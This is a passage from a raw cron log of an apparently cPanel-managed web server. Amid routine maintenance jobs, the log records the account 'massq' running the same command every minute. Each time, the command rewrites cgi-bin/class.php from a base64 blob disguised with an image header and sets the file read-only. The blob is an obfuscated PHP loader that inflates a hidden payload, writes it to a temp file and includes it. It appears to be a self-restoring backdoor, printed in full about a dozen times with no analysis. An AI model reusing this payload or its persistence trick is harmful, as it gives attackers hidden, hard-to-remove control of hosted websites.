JVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:11:01 server CROND[5508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:12:01 server CROND[5909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:12:01 server CROND[5910]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 20:12:01 server CROND[5911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:12:01 server CROND[5913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:13:01 server CROND[6307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:13:01 server CROND[6308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:13:01 server CROND[6309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:14:01 server CROND[6692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:14:01 server CROND[6691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:14:01 server CROND[6693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:15:01 server CROND[7087]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 20:15:01 server CROND[7089]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 20:15:01 server CROND[7094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:15:01 server CROND[7105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:15:01 server CROND[7106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:15:01 server CROND[7110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:15:01 server CROND[7112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:15:01 server CROND[7107]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 20:15:01 server CROND[7113]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 20:16:01 server CROND[8160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:16:01 server CROND[8162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:16:01 server CROND[8161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:17:01 server CROND[8742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:17:01 server CROND[8743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:17:01 server CROND[8744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:18:01 server CROND[9144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:18:01 server CROND[9145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:18:01 server CROND[9146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:19:01 server CROND[9527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:19:01 server CROND[9529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:19:01 server CROND[9528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:20:01 server CROND[9971]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 20:20:01 server CROND[9975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:20:01 server CROND[9978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:20:01 server CROND[9976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 20:20:01 server CROND[9983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:20:01 server CROND[9979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:20:01 server CROND[9981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:20:01 server CROND[9977]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 20:20:01 server CROND[9989]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 20:21:01 server CROND[10816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:21:01 server CROND[10815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:21:01 server CROND[10817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:22:02 server CROND[11283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:22:02 server CROND[11284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:22:02 server CROND[11285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:23:01 server CROND[11650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:23:01 server CROND[11651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 20:23:01 server CROND[11652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
